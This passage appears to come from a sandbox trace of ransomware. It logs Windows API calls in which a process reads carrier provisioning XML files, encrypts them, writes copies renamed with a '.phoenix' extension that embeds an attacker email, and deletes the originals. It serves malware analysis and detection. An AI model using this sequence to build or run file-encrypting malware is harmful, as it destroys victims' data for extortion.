	[0252.994] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.994] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.994] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0252.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0252.995] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.995] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2db, lpOverlapped=0x0) returned 1
	[0253.080] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0253.080] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.081] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0253.081] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.081] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0253.081] CryptDestroyKey (hKey=0x151240) returned 1
	[0253.082] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0253.082] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.082] CloseHandle (hObject=0x2d8) returned 1
	[0253.082] CloseHandle (hObject=0x2f0) returned 1
	[0253.082] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.083] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.083] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.083] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=718) returned 1
	[0253.084] CloseHandle (hObject=0x2f0) returned 1
	[0253.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.084] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0253.084] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.084] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ce, lpOverlapped=0x0) returned 1
	[0253.152] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0253.152] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.153] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0253.153] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.153] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0253.153] CryptDestroyKey (hKey=0x151140) returned 1
	[0253.153] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0253.153] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.153] CloseHandle (hObject=0x2f0) returned 1
	[0253.153] CloseHandle (hObject=0x2d8) returned 1
	[0253.153] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.154] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.154] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.156] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=730) returned 1
	[0253.156] CloseHandle (hObject=0x2d8) returned 1
	[0253.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml")) returned 0x20
	[0253.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.156] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.156] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.156] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.156] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0253.157] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.157] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2da, lpOverlapped=0x0) returned 1
	[0253.234] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0253.234] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.235] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0253.235] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.235] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0253.235] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0253.235] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0253.235] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.235] CloseHandle (hObject=0x2d8) returned 1
	[0253.235] CloseHandle (hObject=0x2f0) returned 1
	[0253.235] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml")) returned 1
	[0253.237] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.237] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.239] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=651) returned 1
	[0253.239] CloseHandle (hObject=0x2f0) returned 1
	[0253.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml")) returned 0x20
	[0253.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.239] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.239] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.239] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.239] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.240] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0253.240] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.240] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28b, lpOverlapped=0x0) returned 1
	[0253.302] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0253.302] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0253.303] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0253.303] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.303] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0253.303] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.303] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0253.303] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0253.303] CloseHandle (hObject=0x2f0) returned 1
	[0253.303] CloseHandle (hObject=0x2d8) returned 1
	[0253.303] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml")) returned 1
	[0253.304] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.304] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.305] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=661) returned 1
	[0253.305] CloseHandle (hObject=0x2d8) returned 1
	[0253.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.305] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.305] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.305] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.305] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.306] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0253.306] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.306] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x295, lpOverlapped=0x0) returned 1
	[0253.382] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0253.382] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
